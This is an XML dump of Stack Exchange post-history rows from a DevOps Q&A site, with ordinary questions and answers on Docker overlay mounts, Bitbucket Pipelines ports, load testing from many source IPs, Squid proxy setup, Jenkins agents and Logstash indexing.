  <row Id="12156" PostHistoryTypeId="2" PostId="3873" RevisionGUID="c79d63e3-1901-4ae1-901b-5bb1557567d9" CreationDate="2018-04-13T04:35:35.967" UserId="228" Text="Solution to this problem is to create an overlay filesytem over a read-only mount, but if you try to do it directly, overlay will refuse to put upper and work directories on another overlay filesystem. The trick is to create a tmpfs for the upper and work directories like this:&#xD;&#xA;&#xD;&#xA;Create a script called run-in-c.sh&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    NAME=$1&#xD;&#xA;    shift&#xD;&#xA;    HOSTNAME=dock${NAME}&#xD;&#xA;    CONTAINER=dc-${USER}-${NAME}&#xD;&#xA;    REPOSITORY=${HOME}/repository&#xD;&#xA;    BASEIMAGE=hub.docker.io/my-org/my-base-container&#xD;&#xA;    OVERLAY=/mnt/overlay&#xD;&#xA;    LOWERDIR=/mnt/lower&#xD;&#xA;    UPPERDIR=${OVERLAY}/upper&#xD;&#xA;    WORKDIR=${OVERLAY}/work&#xD;&#xA;    TARGET=/mnt/repository&#xD;&#xA;    # PRIVILEGED=&quot;--privileged&quot;&#xD;&#xA;    PRIVILEGED=&quot;--cap-add SYS_ADMIN&quot;&#xD;&#xA;    docker container create --name $CONTAINER $PRIVILEGED --hostname $HOSTNAME --volume ${CO}:${LOWERDIR}:ro $BASEIMAGE&#xD;&#xA;    docker container start $CONTAINER&#xD;&#xA;    docker container exec $CONTAINER mkdir -p $OVERLAY&#xD;&#xA;    docker container exec $CONTAINER mount -t tmpfs tmpfs $OVERLAY&#xD;&#xA;    docker container exec $CONTAINER mkdir -p $WORKDIR $UPPERDIR $TARGET&#xD;&#xA;    docker container exec $CONTAINER mount -t overlay overlay -o lowerdir=${LOWERDIR},upperdir=${UPPERDIR},workdir=${WORKDIR} $TARGET&#xD;&#xA;    docker container exec -it --workdir $TARGET $CONTAINER $*&#xD;&#xA;    docker container stop $CONTAINER&#xD;&#xA;    docker container rm $CONTAINER&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then you can run commands in the container as:&#xD;&#xA;&#xD;&#xA;    run-in-c.sh test01 'cd dir &amp;&amp; command args'&#xD;&#xA;&#xD;&#xA;or simply get interactive shell with:&#xD;&#xA;&#xD;&#xA;    run-in-c.sh naming-stuff-is-too-hard bash&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12157" PostHistoryTypeId="2" PostId="3874" RevisionGUID="f9198db9-2724-4c7a-b086-cb8f891115c7" CreationDate="2018-04-13T05:42:35.363" UserId="7394" Text="As a member of a small agile development team developing an application heavily relying on Kafka I wonder what implications the DevOps paradigm of _You build it, you run it_ has regarding running and maintaining a shared service like Kafka used by other teams as well.&#xD;&#xA;&#xD;&#xA;Does the _You build it, you run it_ not only revolve around our application?&#xD;&#xA;&#xD;&#xA;Does DevOps really mean _you are using another service so you have to manage that service as well_?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12158" PostHistoryTypeId="1" PostId="3874" RevisionGUID="f9198db9-2724-4c7a-b086-cb8f891115c7" CreationDate="2018-04-13T05:42:35.363" UserId="7394" Text="Who is responsible for running and maintaining shared services in DevOps" ContentLicense="CC BY-SA 3.0" />
  <row Id="12159" PostHistoryTypeId="3" PostId="3874" RevisionGUID="f9198db9-2724-4c7a-b086-cb8f891115c7" CreationDate="2018-04-13T05:42:35.363" UserId="7394" Text="&lt;terminology&gt;&lt;sre&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12160" PostHistoryTypeId="2" PostId="3875" RevisionGUID="c6c938eb-29d1-4d2b-a070-b4a068c573b6" CreationDate="2018-04-13T08:17:06.900" UserId="6544" Text="I think we need to view this in the larger context of Flow and Systems Thinking which is one of the core values of DevOps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1. Specifically, DevOps Values require an understanding that each individual is part of a larger system and work toward increasing the flow of value through that system to the customer.&#xD;&#xA;1. DevOps also focuses on helping the organization set a shared vision and work incrementally and collaboratively on achieving that vision.&#xD;&#xA;&#xD;&#xA;In such a scenario, the focus needs to shift from &quot;technology-specific silos&quot; to &quot;cross functional teams&quot;. And each DevOps practitioner needs to achieve a T-Shaped Skillset with core as well as shared responsibilities.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**So, to answer your question:**&#xD;&#xA;&#xD;&#xA;&gt; Does DevOps really mean you are using another service so you have to manage that service as well?&#xD;&#xA;&#xD;&#xA;I think it depends.&#xD;&#xA;&#xD;&#xA;If your being able to manage the service leads to _increased flow of work through the pipeline to the customer_ then yes.&#xD;&#xA;&#xD;&#xA;If however, it leads to you becoming a bottleneck or constraint to flow (perhaps due to you becoming overloaded with additional responsibilities), then no.&#xD;&#xA;&#xD;&#xA;If you are able to share this responsibility with others than manage the service (and have a Systems and Flow mindset), and _collaborate_ with them so that none of you get too overloaded with work to become a constraint to flow, then yes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA;1. [DevOps Values](https://itrevolution.com/the-three-ways-principles-underpinning-devops/)&#xD;&#xA;1. [YBI/YRI](https://devops.com/adding-accountability-you-build-you-run/)&#xD;&#xA;1. [What is DevOps](https://devops.com/introductiontodevops/)&#xD;&#xA;1. [Cross-Functional Teams and DevOps](https://puppet.com/blog/what%E2%80%99s-best-team-structure-for-devops-success)" ContentLicense="CC BY-SA 3.0" />
  <row Id="12161" PostHistoryTypeId="2" PostId="3876" RevisionGUID="e91e8d0e-d180-48db-af70-06e743c679f8" CreationDate="2018-04-13T11:02:01.950" UserId="4553" Text="I'd like to test an application using bitbucket pipelines with a custom docker image running some services. I have a dev docker image which runs all the services I need in order for tests to pass.&#xD;&#xA;&#xD;&#xA;    docker run -it -p 3000:3000 -p 6379:6379 -p 8983:8983 my_dockerhub/image&#xD;&#xA;    ./start_services.sh&#xD;&#xA;    bundle exec rspec&#xD;&#xA;    # everything passes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I can't seem to find a way to start the container with the right ports bound so the tests to pass. &#xD;&#xA;&#xD;&#xA;1. I tried using the container directly using this in my bitbucket-pipelines.yml:&#xD;&#xA;&#xD;&#xA;        image: &#xD;&#xA;          name: my_dockerhub/image&#xD;&#xA;          username: $DOCKER_HUB_USERNAME&#xD;&#xA;          password: $DOCKER_HUB_PASSWORD&#xD;&#xA;          email: $DOCKER_HUB_EMAIL&#xD;&#xA;          # bind ports here somehow?&#xD;&#xA;&#xD;&#xA;        pipelines:&#xD;&#xA;          branches:&#xD;&#xA;            '{master, develop, bitbucket_pipelines}':&#xD;&#xA;              - step:&#xD;&#xA;                  name: Test&#xD;&#xA;                  script:&#xD;&#xA;                    - ./start_services.sh&#xD;&#xA;                    - sleep 30&#xD;&#xA;                    - bundle exec rspec&#xD;&#xA;&#xD;&#xA;    But I get the following error at the ```bundle exec rspec``` step&#xD;&#xA;&#xD;&#xA;        # Errno::ECONNREFUSED:&#xD;&#xA;        #   Connection refused - connect(2) for &quot;127.0.0.1&quot; port 8983&#xD;&#xA;&#xD;&#xA;1. I tried running the docker container directly withing the bitbucket pipeline&#xD;&#xA;&#xD;&#xA;        pipelines:&#xD;&#xA;          branches:&#xD;&#xA;            '{master, develop, bitbucket_pipelines}':&#xD;&#xA;              - step:&#xD;&#xA;                  name: Start Docker&#xD;&#xA;                  script:&#xD;&#xA;                    - docker login -u $DOCKER_HUB_USERNAME -p $DOCKER_HUB_PASSWORD&#xD;&#xA;                    - docker run -t -p 3000:3000 -p 6379:6379 -p 8983:8983  my_dockerhub/image&#xD;&#xA;                    - ./script/start_services.sh&#xD;&#xA;                    - sleep 20&#xD;&#xA;                    - bundle exec rspec&#xD;&#xA;&#xD;&#xA;    But the step froze at the ```docker run``` step.&#xD;&#xA;    I assume this is because I used the -t flag so the command doesn't exit. I was thinking I could possibly use ```docker exec``` to send commands to the container without running it  but then how would I check the tests have passed?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12162" PostHistoryTypeId="1" PostId="3876" RevisionGUID="e91e8d0e-d180-48db-af70-06e743c679f8" CreationDate="2018-04-13T11:02:01.950" UserId="4553" Text="How to bind ports for docker container in bitbucket pipelines?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12163" PostHistoryTypeId="3" PostId="3876" RevisionGUID="e91e8d0e-d180-48db-af70-06e743c679f8" CreationDate="2018-04-13T11:02:01.950" UserId="4553" Text="&lt;docker&gt;&lt;bitbucket&gt;&lt;bitbucket-pipelines&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12164" PostHistoryTypeId="50" PostId="2891" RevisionGUID="e4d8b2c4-95f9-4e49-a4da-ec3327fb6184" CreationDate="2018-04-13T15:31:18.087" UserId="-1" />
  <row Id="12166" PostHistoryTypeId="2" PostId="3878" RevisionGUID="640adc1e-7452-4dc0-9cca-0254bf3a7d74" CreationDate="2018-04-13T20:53:48.027" UserId="5920" Text="I need to simulate many connections. Currently using curl.&#xD;&#xA;What is the best way to deploy thousands of such requests with different IPs using some script?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12167" PostHistoryTypeId="1" PostId="3878" RevisionGUID="640adc1e-7452-4dc0-9cca-0254bf3a7d74" CreationDate="2018-04-13T20:53:48.027" UserId="5920" Text="Making thousands of microservice/dockers with different IPs" ContentLicense="CC BY-SA 3.0" />
  <row Id="12168" PostHistoryTypeId="3" PostId="3878" RevisionGUID="640adc1e-7452-4dc0-9cca-0254bf3a7d74" CreationDate="2018-04-13T20:53:48.027" UserId="5920" Text="&lt;docker&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12169" PostHistoryTypeId="50" PostId="1654" RevisionGUID="0881a4e7-589c-45a1-928f-17ee7767ab80" CreationDate="2018-04-14T01:33:17.050" UserId="-1" />
  <row Id="12171" PostHistoryTypeId="2" PostId="3879" RevisionGUID="73601871-41eb-4095-ba0a-8d5b72b2c312" CreationDate="2018-04-14T14:12:17.697" UserId="4175" Text="# Linux, without docker&#xD;&#xA;&#xD;&#xA;In Linux, you can create arbitrarily many IP address for each interface. A comment in https://serverfault.com/questions/328146/max-number-virtual-ip-addresses-per-nic reports success with 2000, and hearsay of 5000 successful IPs.&#xD;&#xA;&#xD;&#xA;So. Pick any Linux box on your intranet, which could of course be a VM, and create as many IPs on its single ethernet interface (MAC address) as you wish.&#xD;&#xA;&#xD;&#xA;Say you're using the 10.0.0.0/8 private network, then you can execute lots of these:&#xD;&#xA;&#xD;&#xA;    ifconfig eth0:1 10.0.0.2 netmask 255.0.0.0&#xD;&#xA;    ifconfig eth0:2 10.0.0.3 netmask 255.0.0.0&#xD;&#xA;    ...&#xD;&#xA;    ifconfig eth0:260 10.0.1.6 netmask 255.0.0.0&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;You should be able to use `curl --interface eth0:3` (or maybe `--interface 10.0.0.3`) to use a specific source address. For `wget`, it's `--bind-address=10.0.0.3` etc. Start the curls in the background (&quot;&amp;&quot;) and they will run more or less concurrently - or looks for some test drivers (different question) to run them for you.&#xD;&#xA;&#xD;&#xA;This will give you lots of requests from separate IP addresses, but all conveniently running on one machine.&#xD;&#xA;&#xD;&#xA;# Docker, trivially&#xD;&#xA;&#xD;&#xA;With docker: just make an image, as small as humanly possible, which does your connection. You can use `curl` without any special options.&#xD;&#xA;&#xD;&#xA;Then fire up your 1000 docker containers, just like you usually would.&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/questions/21799382/is-there-a-maximum-number-of-containers-running-on-a-docker-host indicates that it is possible with hardware that is not too uncommon today; a naive 1000 docker containers used roughly 3 GB of RAM for them. That question also has some hints on options you can use to decrease the memory needs. Aside from memory, there won't be too much overhead, i.e. CPU wise it should comparable.&#xD;&#xA;&#xD;&#xA;# Docker, with special networking&#xD;&#xA;&#xD;&#xA;`docker network` opens up manually created networking for you. You should be able to cobble something together (just check the individual `--help` pages, it's all pretty self explanatory), and combine that with the `ifconfig` approach explained above. This would mean that you only need one container for your `curl`s, and start 1000's of them inside that container.&#xD;&#xA;&#xD;&#xA;I would try to just run your 1000 containers, first, though, unless you are limited in the RAM department, for ease of use." ContentLicense="CC BY-SA 3.0" />
  <row Id="12172" PostHistoryTypeId="2" PostId="3880" RevisionGUID="6b8e309c-8275-4cc6-a2e0-8f9be817181c" CreationDate="2018-04-14T18:54:22.723" UserId="7416" Text="I'm new in Squid and Docker.&#xD;&#xA;&#xD;&#xA;Example, I have 1 client (IP: 192.168.0.200) and 1 host (IP: 192.168.0.15). If client want to connect to the internet, then in host will be created container which contains squid proxy (*I pull form the sameersbn/squid:latest`)*&#xD;&#xA;&#xD;&#xA;And my syntax to create the container is:&#xD;&#xA;&#xD;&#xA;    docker run -d -net None --name SQUID_192.168.0.200 -p 9001:3128 -v /home/administrator/container-data:/var/log/squid3&#xD;&#xA;&#xD;&#xA;And configuration IP in my client like this:&#xD;&#xA;&#xD;&#xA;&gt; auto enp0s3&lt;br&gt;iface enp0s3 inet static&lt;br&gt;address 192.168.0.200&lt;br&gt;netmask 255.255.255.0&lt;br&gt;gateway 192.168.0.15&#xD;&#xA;&#xD;&#xA;Then I use iptables to forward packet from 192.168.0.200 to the container&#xD;&#xA;&#xD;&#xA;    iptables -t nat -A PREROUTING -p tcp -i wlp3s0 -s 192.168.0.200 --dport 9001&#xD;&#xA;&#xD;&#xA;**Here's my problem:**&#xD;&#xA;&#xD;&#xA; 1. I don't know better use `-net None` or `-net Host` or something else&#xD;&#xA; 2. I do not know if my way is right or not, to direct the packet form 192.168.0.200 to container name SQUID_192.168.0.200 *(I'm tried using port 9001:3128)*&#xD;&#xA; 3. I have tried to access internet from the client, I opened `google.com` and `detik.com`, but it's not recorded in access.log" ContentLicense="CC BY-SA 3.0" />
  <row Id="12173" PostHistoryTypeId="1" PostId="3880" RevisionGUID="6b8e309c-8275-4cc6-a2e0-8f9be817181c" CreationDate="2018-04-14T18:54:22.723" UserId="7416" Text="How can I make my clients (host) use my Squid proxy inside Docker container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12174" PostHistoryTypeId="3" PostId="3880" RevisionGUID="6b8e309c-8275-4cc6-a2e0-8f9be817181c" CreationDate="2018-04-14T18:54:22.723" UserId="7416" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12175" PostHistoryTypeId="5" PostId="3879" RevisionGUID="9b41fe71-67de-49b2-a366-cba204eb0a1a" CreationDate="2018-04-14T19:12:05.930" UserId="4175" Comment="added 535 characters in body" Text="# Linux, without docker&#xD;&#xA;&#xD;&#xA;In Linux, you can create arbitrarily many IP address for each interface. A comment in https://serverfault.com/questions/328146/max-number-virtual-ip-addresses-per-nic reports success with 2000, and hearsay of 5000 successful IPs.&#xD;&#xA;&#xD;&#xA;So. Pick any Linux box on your intranet, which could of course be a VM, and create as many IPs on its single ethernet interface (MAC address) as you wish.&#xD;&#xA;&#xD;&#xA;Say you're using the 10.0.0.0/8 private network, then you can execute lots of these:&#xD;&#xA;&#xD;&#xA;    ifconfig eth0:1 10.0.0.2 netmask 255.0.0.0&#xD;&#xA;    ifconfig eth0:2 10.0.0.3 netmask 255.0.0.0&#xD;&#xA;    ...&#xD;&#xA;    ifconfig eth0:260 10.0.1.6 netmask 255.0.0.0&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;You should be able to use `curl --interface eth0:3` (or maybe `--interface 10.0.0.3`) to use a specific source address. For `wget`, it's `--bind-address=10.0.0.3` etc. Start the curls in the background (&quot;&amp;&quot;) and they will run more or less concurrently - or looks for some test drivers (different question) to run them for you.&#xD;&#xA;&#xD;&#xA;This will give you lots of requests from separate IP addresses, but all conveniently running on one machine.&#xD;&#xA;&#xD;&#xA;# Docker, trivially&#xD;&#xA;&#xD;&#xA;With docker: just make an image, as small as humanly possible, which does your connection. You can use `curl` without any special options.&#xD;&#xA;&#xD;&#xA;Then fire up your 1000 docker containers, just like you usually would.&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/questions/21799382/is-there-a-maximum-number-of-containers-running-on-a-docker-host indicates that it is possible with hardware that is not too uncommon today; a naive 1000 docker containers used roughly 3 GB of RAM for them. That question also has some hints on options you can use to decrease the memory needs. Aside from memory, there won't be too much overhead, i.e. CPU wise it should comparable.&#xD;&#xA;&#xD;&#xA;# Docker, with special networking&#xD;&#xA;&#xD;&#xA;`docker network` opens up manually created networking for you. You should be able to cobble something together (just check the individual `--help` pages, it's all pretty self explanatory), and combine that with the `ifconfig` approach explained above. This would mean that you only need one container for your `curl`s, and start 1000's of them inside that container.&#xD;&#xA;&#xD;&#xA;I would try to just run your 1000 containers, first, though, unless you are limited in the RAM department, for ease of use.&#xD;&#xA;&#xD;&#xA;# About the `curl`...&#xD;&#xA;&#xD;&#xA;Whatever you do, don't just start a single `curl` in each instance, but have each runner be an endless loop of back-to-back `curl` calls. This way, you avoid long gaps inbetween where your individual jobs are being started and stopped; this is obviously especially important for the &quot;1000 docker containers&quot; variation.&#xD;&#xA;&#xD;&#xA;And you might as well get rid of `curl` altogether and cobble together a small network script in the language of your choice (Perl, Ruby, C, Java...) to avoid process startup overhead." ContentLicense="CC BY-SA 3.0" />
  <row Id="12176" PostHistoryTypeId="5" PostId="3879" RevisionGUID="bfff73dc-56f4-46e8-be5a-0d4f57ae8a4e" CreationDate="2018-04-14T19:19:01.723" UserId="4175" Comment="added 178 characters in body" Text="# Linux, without docker&#xD;&#xA;&#xD;&#xA;In Linux, you can create arbitrarily many IP address for each interface. A comment in https://serverfault.com/questions/328146/max-number-virtual-ip-addresses-per-nic reports success with 2000, and hearsay of 5000 successful IPs.&#xD;&#xA;&#xD;&#xA;So. Pick any Linux box on your intranet, which could of course be a VM, and create as many IPs on its single ethernet interface (MAC address) as you wish.&#xD;&#xA;&#xD;&#xA;Say you're using the 10.0.0.0/8 private network, then you can execute lots of these:&#xD;&#xA;&#xD;&#xA;    ifconfig eth0:1 10.0.0.2 netmask 255.0.0.0&#xD;&#xA;    ifconfig eth0:2 10.0.0.3 netmask 255.0.0.0&#xD;&#xA;    ...&#xD;&#xA;    ifconfig eth0:260 10.0.1.6 netmask 255.0.0.0&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;You should be able to use `curl --interface eth0:3` (or maybe `--interface 10.0.0.3`) to use a specific source address. For `wget`, it's `--bind-address=10.0.0.3` etc. Start the curls in the background (&quot;&amp;&quot;) and they will run more or less concurrently - or looks for some test drivers (different question) to run them for you.&#xD;&#xA;&#xD;&#xA;This will give you lots of requests from separate IP addresses, but all conveniently running on one machine.&#xD;&#xA;&#xD;&#xA;# Docker, trivially&#xD;&#xA;&#xD;&#xA;With docker: just make an image, as small as humanly possible, which does your connection. You can use `curl` without any special options.&#xD;&#xA;&#xD;&#xA;Then fire up your 1000 docker containers, just like you usually would.&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/questions/21799382/is-there-a-maximum-number-of-containers-running-on-a-docker-host indicates that it is possible with hardware that is not too uncommon today; a naive 1000 docker containers used roughly 3 GB of RAM for them. That question also has some hints on options you can use to decrease the memory needs. Aside from memory, there won't be too much overhead, i.e. CPU wise it should comparable.&#xD;&#xA;&#xD;&#xA;# Docker, with special networking&#xD;&#xA;&#xD;&#xA;`docker network` opens up manually created networking for you. You should be able to cobble something together (just check the individual `--help` pages, it's all pretty self explanatory), and combine that with the `ifconfig` approach explained above. This would mean that you only need one container for your `curl`s, and start 1000's of them inside that container.&#xD;&#xA;&#xD;&#xA;I would try to just run your 1000 containers, first, though, unless you are limited in the RAM department, for ease of use.&#xD;&#xA;&#xD;&#xA;# About the `curl`...&#xD;&#xA;&#xD;&#xA;Whatever you do, don't just start a single `curl` in each instance, but have each runner be an endless loop of back-to-back `curl` calls. This way, you avoid long gaps inbetween where your individual jobs are being started and stopped; this is obviously especially important for the &quot;1000 docker containers&quot; variation. In the answer linked above, they note that it took them some good amount of minutes to start up those thousands of containers, so you do not want to do that over and over again.&#xD;&#xA;&#xD;&#xA;And you might as well get rid of `curl` altogether and create together a small networking app in the language of your choice (Perl, Ruby, C, Java...) to avoid process startup overhead." ContentLicense="CC BY-SA 3.0" />
  <row Id="12180" PostHistoryTypeId="2" PostId="3882" RevisionGUID="2827488a-8836-4a07-8799-ea3f76d3fb43" CreationDate="2018-04-15T06:51:48.380" UserId="7419" Text="To save money, I would like a large number of agent machines to be stopped and started up only when needed. Better yet, a single  VM should be copied and launched on demand.&#xD;&#xA;&#xD;&#xA;I see the  [Kubernetes plugin][1], used in Jenkins X, as well as the  [VirtualBox Plugin][2], but I get the sense that Jenkins might not be designed for this. &#xD;&#xA;&#xD;&#xA;What is the standard way, if any, to do this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/kubernetes&#xD;&#xA;  [2]: https://wiki.jenkins.io/display/JENKINS/VirtualBox+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="12181" PostHistoryTypeId="1" PostId="3882" RevisionGUID="2827488a-8836-4a07-8799-ea3f76d3fb43" CreationDate="2018-04-15T06:51:48.380" UserId="7419" Text="How do I autostart Jenkins agent machines?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12182" PostHistoryTypeId="3" PostId="3882" RevisionGUID="2827488a-8836-4a07-8799-ea3f76d3fb43" CreationDate="2018-04-15T06:51:48.380" UserId="7419" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12183" PostHistoryTypeId="5" PostId="3879" RevisionGUID="4a1311c3-c330-4245-956e-63c6147f1a61" CreationDate="2018-04-15T08:00:41.267" UserId="4175" Comment="deleted 11 characters in body" Text="# Linux, without docker&#xD;&#xA;&#xD;&#xA;In Linux, you can create arbitrarily many IP address for each interface. A comment in https://serverfault.com/questions/328146/max-number-virtual-ip-addresses-per-nic reports success with 2000, and hearsay of 5000 successful IPs.&#xD;&#xA;&#xD;&#xA;So. Pick any Linux box on your intranet, which could of course be a VM, and create as many IPs on its single ethernet interface (MAC address) as you wish.&#xD;&#xA;&#xD;&#xA;Say you're using the 10.0.0.0/8 private network, then you can execute lots of these:&#xD;&#xA;&#xD;&#xA;    ifconfig eth0:1 10.0.0.2 netmask 255.0.0.0&#xD;&#xA;    ifconfig eth0:2 10.0.0.3 netmask 255.0.0.0&#xD;&#xA;    ...&#xD;&#xA;    ifconfig eth0:260 10.0.1.6 netmask 255.0.0.0&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;You should be able to use `curl --interface eth0:3` (or maybe `--interface 10.0.0.3`) to use a specific source address. For `wget`, it's `--bind-address=10.0.0.3` etc. Start the curls in the background (&quot;&amp;&quot;) and they will run more or less concurrently - or look for some test driver (different question) to run them for you.&#xD;&#xA;&#xD;&#xA;This will give you lots of requests from separate IP addresses, but all conveniently running on one machine.&#xD;&#xA;&#xD;&#xA;# Docker, trivially&#xD;&#xA;&#xD;&#xA;With docker: just make an image, as small as humanly possible, which connects to your server. You can use `curl` without any special options.&#xD;&#xA;&#xD;&#xA;Then fire up your 1000 docker containers, just like you usually would. Each will automatically get an IP address on the internal docker network (172.x.0.0/16 by default).&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/questions/21799382/is-there-a-maximum-number-of-containers-running-on-a-docker-host indicates that it is possible with hardware that is not too uncommon today; a naive 1000 docker containers used roughly 3 GB of RAM for them. That question also has some hints on options you can use to decrease the memory needs. Aside from memory, there won't be too much overhead, i.e. CPU wise it should comparable.&#xD;&#xA;&#xD;&#xA;# Docker, with special networking&#xD;&#xA;&#xD;&#xA;`docker network` opens up manually created networking for you. You should be able to cobble something together (just check the individual `--help` pages, it's all pretty self explanatory), and combine that with the `ifconfig` approach explained above. This would mean that you only need one container for your `curl`s, and start 1000's of them inside that container.&#xD;&#xA;&#xD;&#xA;I would try to just run your 1000 containers, first, though, unless you are limited in the RAM department, for ease of use.&#xD;&#xA;&#xD;&#xA;# About the `curl`...&#xD;&#xA;&#xD;&#xA;Whatever you do, don't just start a single `curl` in each instance, but have each runner be an endless loop of back-to-back `curl` calls. This way, you avoid long gaps inbetween where your individual jobs are being started and stopped; this is obviously especially important for the &quot;1000 docker containers&quot; variation. In the answer linked above, they note that it took them some good amount of minutes to start up those thousands of containers, so you do not want to do that over and over again.&#xD;&#xA;&#xD;&#xA;And you might as well get rid of `curl` altogether and create small networking app in the language of your choice (Perl, Ruby, C, Java...) to avoid process startup overhead." ContentLicense="CC BY-SA 3.0" />
  <row Id="12184" PostHistoryTypeId="2" PostId="3883" RevisionGUID="ac2af540-2266-434c-9f58-48f12d554dc3" CreationDate="2018-04-15T08:14:01.103" UserId="6609" Text="i'm trying to set up a centralized syslog for multiple log sources&#xD;&#xA;&#xD;&#xA;so i have a logstash that has two separate inputs and two separate outputs&#xD;&#xA;&#xD;&#xA;however for some reason the data from one of the inputs ends up in both indexes&#xD;&#xA;&#xD;&#xA;what am i doing wrong?&#xD;&#xA;&#xD;&#xA;below both pipelines' configs&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;input{&#xD;&#xA;tcp {&#xD;&#xA;port =&gt; 5052&#xD;&#xA;codec =&gt; &quot;json_lines&quot;&#xD;&#xA;}&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;output {&#xD;&#xA;elasticsearch {&#xD;&#xA;hosts =&gt; &quot;10.50.6.116&quot;&#xD;&#xA;index =&gt; &quot;remote&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;file {&#xD;&#xA;path =&gt; &quot;/var/log/logstash/remote-tcp.log&quot;&#xD;&#xA;}&#xD;&#xA;stdout { codec =&gt; rubydebug }&#xD;&#xA;}&#xD;&#xA;input {&#xD;&#xA;file {&#xD;&#xA;path =&gt; &quot;/data/vmlist/*.csv&quot;&#xD;&#xA;start_position =&gt; &quot;beginning&quot;&#xD;&#xA;sincedb_path =&gt; &quot;/tmp/sincedb&quot;&#xD;&#xA;}&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;filter {&#xD;&#xA;csv {&#xD;&#xA;separator =&gt; &quot;,&quot;&#xD;&#xA;columns =&gt; [&quot;VM Name&quot;,&quot;Creation Date&quot;,&quot;Owner&quot;,&quot;Type&quot;,&quot;Message&quot;]&#xD;&#xA;}&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;output {&#xD;&#xA;elasticsearch {&#xD;&#xA;hosts =&gt; &quot;http://10.50.6.116:9200&quot;&#xD;&#xA;index =&gt; &quot;vms&quot;&#xD;&#xA;document_type =&gt; &quot;csv&quot;&#xD;&#xA;}&#xD;&#xA;stdout{ codec=&gt; rubydebug}&#xD;&#xA;}" ContentLicense="CC BY-SA 3.0" />
  <row Id="12185" PostHistoryTypeId="1" PostId="3883" RevisionGUID="ac2af540-2266-434c-9f58-48f12d554dc3" CreationDate="2018-04-15T08:14:01.103" UserId="6609" Text="Logstash multiple pipelines going into same index" ContentLicense="CC BY-SA 3.0" />
  <row Id="12186" PostHistoryTypeId="3" PostId="3883" RevisionGUID="ac2af540-2266-434c-9f58-48f12d554dc3" CreationDate="2018-04-15T08:14:01.103" UserId="6609" Text="&lt;elastic&gt;&lt;logstash&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12187" PostHistoryTypeId="33" PostId="3857" RevisionGUID="60ecb37d-be32-45d9-b5ec-44a728a528b8" CreationDate="2018-04-15T09:33:58.867" UserId="7118" Comment="17" />
  <row Id="12188" PostHistoryTypeId="5" PostId="3883" RevisionGUID="8bed7f98-07bb-42d2-b673-ffa11871751c" CreationDate="2018-04-15T14:20:38.207" UserId="47" Comment="improved formatting" Text="I'm trying to set up a centralized syslog for multiple log sources.&#xD;&#xA;&#xD;&#xA;So I have a logstash that has two separate inputs and two separate outputs&#xD;&#xA;&#xD;&#xA;However for some reason the data from one of the inputs ends up in both indexes&#xD;&#xA;&#xD;&#xA;What am i doing wrong?&#xD;&#xA;&#xD;&#xA;Below are both pipelines' configs&#xD;&#xA;&#xD;&#xA;    input {&#xD;&#xA;      tcp {&#xD;&#xA;        port =&gt; 5052&#xD;&#xA;        codec =&gt; &quot;json_lines&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    output {&#xD;&#xA;      elasticsearch {&#xD;&#xA;        hosts =&gt; &quot;10.50.6.116&quot;&#xD;&#xA;        index =&gt; &quot;remote&quot;&#xD;&#xA;      }&#xD;&#xA;      file {&#xD;&#xA;        path =&gt; &quot;/var/log/logstash/remote-tcp.log&quot;&#xD;&#xA;      }&#xD;&#xA;      stdout { codec =&gt; rubydebug }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    input {&#xD;&#xA;      file {&#xD;&#xA;        path =&gt; &quot;/data/vmlist/*.csv&quot;&#xD;&#xA;        start_position =&gt; &quot;beginning&quot;&#xD;&#xA;        sincedb_path =&gt; &quot;/tmp/sincedb&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    filter {&#xD;&#xA;      csv {&#xD;&#xA;        separator =&gt; &quot;,&quot;&#xD;&#xA;        columns =&gt; [&quot;VM Name&quot;,&quot;Creation Date&quot;,&quot;Owner&quot;,&quot;Type&quot;,&quot;Message&quot;]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    output {&#xD;&#xA;      elasticsearch {&#xD;&#xA;        hosts =&gt; &quot;http://10.50.6.116:9200&quot;&#xD;&#xA;        index =&gt; &quot;vms&quot;&#xD;&#xA;        document_type =&gt; &quot;csv&quot;&#xD;&#xA;      }&#xD;&#xA;      stdout{ codec=&gt; rubydebug}&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
